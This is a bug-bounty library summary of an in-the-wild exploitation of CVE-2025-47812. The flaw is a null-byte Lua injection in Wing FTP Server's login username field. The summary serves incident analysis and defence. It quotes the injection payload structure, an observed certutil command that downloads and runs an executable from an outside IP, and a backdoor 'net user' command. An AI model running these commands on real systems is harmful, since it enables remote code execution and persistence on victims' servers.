# Wing FTP Server RCE (CVE-2025-47812) Exploited in the Wild

Null-byte injection in Wing FTP Server's loginok.html username field enables Lua code injection into session files, yielding root/SYSTEM RCE.

- Payout: Real-world hack
- Severity: critical
- Program: Wing FTP Server
- Credited: Huntress
- Disclosed: 2025-07-10
- CVE: CVE-2025-47812
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/wing-ftp-server-remote-code-execution-cve-2025-47812-exploited-in-wild
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-wing-ftp-server-remote-code-execution-cve-2025-47812-exploited-in-wild
- Tags: domain:web impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:windows technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Wing FTP Server loginok.html authentication endpoint and Lua session files
**Root cause:** The username parameter in loginok.html mishandles null bytes, allowing an attacker to break string processing and inject Lua code into the session object file that is later deserialized.
**Steps:**
1. Authenticate to loginok.html via POST with a valid or anonymous account.
2. Set username to `anonymous%00]]<newline>malicious Lua<newline>--` to close the `[[` string, inject code, and comment out the trailing `]]`.
3. Trigger deserialization by requesting any page such as `dir.html`, causing Wing FTP to load the poisoned session .lua file.
4. Injected Lua runs via io.popen, e.g. `certutil -urlcache -f http://185.196.9.225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe`.
5. Verify exploitation via truncated `User 'anonymous` log entry and oversized session .lua files in the session directory.
**How found:** Huntress observed WFTPServer.exe spawning cmd.exe on a customer host on July 1, 2025, one day after public disclosure, and reconstructed the attack chain from process trees, session .lua files, and Domain logs.
**Exploitation:** Attacker logs in (anonymous or valid creds), injects Lua via null-byte username, then requests dir.html to trigger session deserialization; injected Lua executes cmd.exe commands as SYSTEM to download and run a beacon via certutil, create backdoor users, and attempt ScreenConnect install.
**Escalation:** Post-RCE: reconnaissance (ipconfig, whoami, arp), persistence via `net user wingftp 123123qweqwe /add`, attempted ScreenConnect remote access install.
**Insight:** Session files serialized as Lua and later deserialized are a code-execution sink; any input that lands in them (even a username) is a candidate for injection, and null bytes can truncate validation while leaving injected syntax intact.